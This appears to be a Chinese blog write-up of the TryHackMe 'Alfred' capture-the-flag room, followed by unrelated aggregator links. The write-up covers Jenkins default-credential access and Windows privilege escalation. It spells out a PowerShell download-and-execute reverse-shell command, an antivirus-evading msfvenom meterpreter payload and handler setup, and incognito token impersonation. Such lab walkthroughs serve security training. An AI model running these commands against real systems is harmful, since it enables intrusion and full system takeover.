【THM】Alfred 阿尔弗雷德

news/2025/4/2 12:11:32/文章来源:https://www.cnblogs.com/yumi0721/p/18803318

【THM】 Alfred 阿尔弗雷德

Initial Access 初始访问

A picture of Alfred, the butler from Batman

在这个房间,我们将学习如何利用广泛使用的自动化服务器(Jenkins - 此工具用于创建持续集成/持续开发管道,允许开发者在对其代码进行更改后自动部署代码)上的常见配置错误。之后,我们将使用一种有趣的权限提升方法来获取完整的系统访问权限。

由于这是一个 Windows 应用程序,我们将使用 Nishang 来获取初始访问权限。仓库包含一组用于初始访问、枚举和权限提升的有用脚本。在这种情况下,我们将使用反向 shell 脚本。

请注意,该机器不响应 ping(ICMP)且可能需要几分钟才能启动。

题1,问我们有多少个开放的TCP端口,我们使用nmap进行扫描,注意题中显示不响应Ping,使用-Pn选项,扫出来共3个TCP端口开放image-20250331222553192

第二题,访问目标的80端口,没有太多信息,访问8080端口,发现有个登陆页面image-20250331223217592

尝试弱口令,发现admin/admin可以登陆(也可以通过Hydra等工具爆破)

找到工具中允许您在底层系统上执行命令的功能。当您找到这个功能时,可以使用以下命令在您的机器上获取反向 shell 并运行它:

powershell iex (New-Object Net.WebClient).DownloadString('http://your-ip:your-port/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress your-ip -Port your-port
#修改其中的IP(本地攻击机的tun0地址)和端口号为自己的攻击机。
#最后指定的端口号为攻击机上所设置的Netcat监听器对应端口号。

您首先需要下载 Powershell 脚本并将其提供给服务器下载。您可以通过使用 python 创建 http 服务器来完成此操作:python3 -m http.server

我们先开启python临时服务器,这能使存放在攻击机上的反向shell脚本可以被目标机访问并下载,然后在Jenkins后台中找到一个功能点 以便我们能够运行相关命令来下载攻击机上的反向shell脚本并执行该脚本,找到命令执行页面的具体步骤如下——先进入Jenkins后台,然后进入project选项卡(页面中间)、configure选项卡(左侧页面),定位到Build页面(选择Execute Windows batch command)以便我们执行命令,在Build界面输入命令,先点击应用并保存,再点击Build now即可。

image-20250331225554403

image-20250331225645967

image-20250331225752506

image-20250331225958664

首先我们需要下载传输到目标服务器的反向shell,输入apt install nishangimage-20250331230320213

下完后进入nishang的shells目录下,里面有我们需要传输的反向shell文件——Invoke-PowerShellTcp.ps1,在此处开启python的http服务器python3 -m http.server 8080,并用nc监听一个端口用于接受反向shell,这里设置为2345,然后去上面找到的页面输入指令,保存并"build now"。

image-20250331230752041

image-20250331230837403

回到nc监听的窗口,发现成功获得反向shell,使用该反向shell界面进入目标机的目录(C:\Users\bruce\Desktop),获取user flag。

image-20250331231249903

image-20250331231308618

使用MSF切换shell

A picture of the Metasploit logo

为了使提权过程更容易,让我们使用以下过程切换到 meterpreter shell。

使用 msfvenom 创建以下 payload 的 Windows meterpreter 反向 shell:

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=IP LPORT=PORT -f exe -o shell-name.exe

此 payload 生成一个编码的 x86-64 反向 TCP meterpreter payload。payload 通常会被编码以确保它们能够正确传输,并且可以绕过防病毒产品。防病毒产品可能无法识别 payload,不会将其标记为恶意软件。

创建此 payload 后,使用上一步相同的方法将其下载到机器上:

powershell "(New-Object System.Net.WebClient).Downloadfile('http://your-thm-ip:8000/shell-name.exe','shell-name.exe')"

在运行此程序之前,请确保在 Metasploit 中设置了 handler:

use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST your-thm-ip set LPORT listening-port run

此步骤使用 Metasploit 处理器接收来自您的反向 shell 的传入连接。一旦运行,输入此命令以启动反向 shell

Start-Process "shell-name.exe"

这将为您启动一个 meterpreter shell!

image-20250331232513244

按步骤生成反向shell后,移动到之前开启python http服务器的目录下,以便于上传到目标服务器,执行相似命令

powershell "(New-Object System.Net.WebClient).Downloadfile('http://your-thm-ip:8080/shell-name.exe','shell-name.exe')"

image-20250331232621548

可以看到已经上传成功,然后进入msf,使用multi/handler模块进行监听

msfconsole
use multi/handler
set lhost your_ip
set lport your_port #你想监听的端口
run

再次进入 之前获取的普通反向shell界面,输入命令Start-Process "shell-name.exe" 在目标机上执行exe文件,此时,在设置了MSF监听器的终端界面可以看到已经获得一个Meterpreter shell。

image-20250331233209316

权限提升

A picture of a magician

现在我们已经获得了初始访问权限,让我们使用令牌模拟来获取系统访问权限。

Windows 使用令牌来确保账户拥有执行特定操作的正确权限。账户令牌在用户登录或进行身份验证时分配给账户。这通常是通过 LSASS.exe(将其视为一个身份验证过程)来完成的。

此访问令牌包括:

  • 用户 SIDs(安全标识符)
  • 组 SIDs
  • 权限

在其他事项中。更详细的信息可以在以下位置找到。

存在两种类型的访问令牌:

  • 主要访问令牌:与用户账户关联,在登录时生成的
  • 模拟令牌:这些令牌允许特定进程(或进程中的线程)使用另一个(用户/客户端)进程的令牌来访问资源

对于模拟令牌,有不同的级别:

  • 安全匿名:当前用户/客户端无法冒充其他用户/客户端
  • SecurityIdentification: 当前用户/客户端可以获取客户端的身份和权限,但不能冒充客户端
  • SecurityImpersonation: 当前用户/客户端可以在本地系统上冒充客户端的安全上下文
  • SecurityDelegation: 当前用户/客户端可以在远程系统上冒充客户端的安全上下文

其中安全上下文是一个包含用户相关安全信息的数据结构。

账户的权限(这些权限在创建账户时赋予或从组继承)允许用户执行特定操作。以下是常见的滥用权限:

  • SeImpersonatePrivilege
  • SeAssignPrimaryPrivilege
  • SeTcbPrivilege
  • SeBackupPrivilege
  • SeRestorePrivilege
  • SeCreateTokenPrivilege
  • SeLoadDriverPrivilege
  • SeTakeOwnershipPrivilege
  • SeDebugPrivilege

使用whoami /priv,可以查看当前用户的特殊权限

2442110-20230328211352606-1165503928

可以发现我们拥有SeDebugPrivilege、SeImpersonatePrivilege特殊权限

让我们使用允许我们利用此漏洞的incognito模块,执行load incognito加载该模块,如果该命令不可用,可以使用use incognito执行该操作

使用help可以查看incognito模块的帮助

2442110-20230328211727965-615602632

使用list_tokens -g查看可以伪装的令牌,其中BUILTIN\Administrators可以使用

img

使用impersonate_token "BUILTIN\Administrators"切换到该用户的令牌,并使用getuid查看当前权限

img

即使您拥有更高特权的令牌,您实际上可能没有特权用户的权限(这是由于 Windows 处理权限的方式 - 它使用进程的主令牌而不是模拟令牌来确定进程可以或不会)。但是我们可以把进程迁移到拥有正确权限的进程

最安全的进程是 services.exe 进程。先用ps命令查看进程,找到services.exe进程的PID。使用命令migrate PID-OF-PROCESS迁移到这个进程

img

img

现在我们就拥有了真正的NT AUTHORITY\SYSTEM权限

读取 C:\Windows\System32\config 中的 root.txt 文件
img

注意:C:\Windows\System32\config\目录是Windows中存放密码的SAM文件和SYSTEM文件的位置,是一个很重要的目录

image-20250331235328784

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/908904.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

从零开始编译安装Nginx:详细步骤与实战配置(附避坑指南)——基于CentOS 7的保姆级教程

一、为什么需要创建专用Nginx用户? 在Linux系统中,为服务创建独立的运行用户是安全最佳实践。Nginx默认以nobody用户运行,但通过创建专用用户nginx,可以限制其权限,防止潜在的安全漏洞影响系统其他部分。 操作步骤: # 创建不可登录的nginx用户(-M不创建家目录,-s指定不…

3.31 格林公式及其应用

1.1 类比 一元函数的积分可以通过两个边界的函数表示 二元函数的积分就可以通过曲线的积分表示1.2 例题例题2(不完全封闭的写法

ArkTs的@Watch状态监听

@Watch装饰器:监听并捕捉变量变化@Watch用于监听状态变量的变化,当状态变量变化时,@Watch的回调方法将被调用。@Watch在ArkUI框架内部判断数值有无更新使用的是严格相等(===),监听并捕捉变量变化。 前端同学以Vue中的Watch监听为嵌入点更好理解。 装饰器说明装饰器参数: …

@Resource 和 @Autowired 的区别

@Autowired 和 @Resource 都用于在 Spring 中进行依赖注入,但在来源、注入方式、支持的参数和用法上存在一些差异。​1、来源不同@Autowired:​Spring 自身提供的注解,位于 org.springframework.beans.factory.annotation 包中。​ @Resource:​Java标准中的注解,位于 jav…

harmonyOS基础- 快速弄懂HarmonyOS ArkTs基础组件、布局容器(前端视角篇)

大家好!我是黑臂麒麟,一位6年的前端;if youre change the world, youre workingon important things. youre excited to get up in the norning.一、常用基础组件 1.基础组件 简单列举常用的及含义,掌握了以下按钮可以解决日常简单场景需求。其他在使用时查询ArkTS的API文…

ai出错、不严谨的体验

一、例子1 用一个包含80多名学生成绩的PDF文件,让ai对学生成绩进行加减乘除的计算(保留两位小数),计算结果降序排列。结果部分学生的结果计算错误(最大差距有3分左右),部分学生的结果是正确的 我不知道是不是因为涉及到除法导致部分结果出错,我用了元宝deeepseek和豆包…

第5章 编写异步代码

第5章 编写异步代码 5.1 异步函数简介 C# 5 引入了异步函数的概念。异步函数可以指某个由 async 修饰符修饰的方法或者匿名函数,它可以对 await 表达式使用 await 运算符。 5.2 对异步模式的思考 5.2.1 关于异步执行本质的思考 await 在 C#中的任务本质上是请求编译器为我们创…

Spring Cloud Gateway 与 Knife4j 集成实践

注意:写于 2025/1/10,未来时间可能失效,请根据具体情况实践。在微服务架构中,Gateway 通常承担着路由转发、负载均衡、鉴权等职责,而 Knife4j 是一个集 Swagger2 和 OpenAPI3 为一体的增强解决方案,可以帮助开发者快速聚合使用OpenAPI 规范。 本文参考 Knife4j 文档,进行…

用户说:10分钟用通义灵码搞定“今天穿什么”!打开爽文世界……

当我仅用10分钟调教出一个会关心我穿不穿秋裤的管家时,突然想到,现在限制我们开发的已经不是编程能力,而在于你有没有把你的想象力塞进代码框!作者:ZLJ,浙江大学教育技术学研究生 当我仅用10分钟调教出一个会关心我穿不穿秋裤的管家时,突然想到,现在限制我们开发的已经…

Cyber Apocalypse 2025 forensics WP

Cyber Apocalypse 2025 forensics WPCyber Apocalypse 2025 WP 做了国际赛之后虽然(目前只做了两道,可是没环境了啊,前几天比赛有点多~www),只从取证这边说,感觉他们的题很有趣,情境也给的很真实连贯,出题灵活,就是能见到很多新兴的知识,拓展知识面,以后会多看一看…

python第六周作业(第四章课后程序练习题)

4.1 import random def guess_number(): target = random.randint(1, 100) count = 0 while True:guess = int(input("请输入你猜的数字(1-100): "))count += 1if guess < target:print("猜小了")elif guess > target:print("猜大了")else…

win安装oracle19c没有listener

然后就可以看到启动了本文来自博客园,作者:余生请多指教ANT,转载请注明原文链接:https://www.cnblogs.com/wangbiaohistory/p/18803159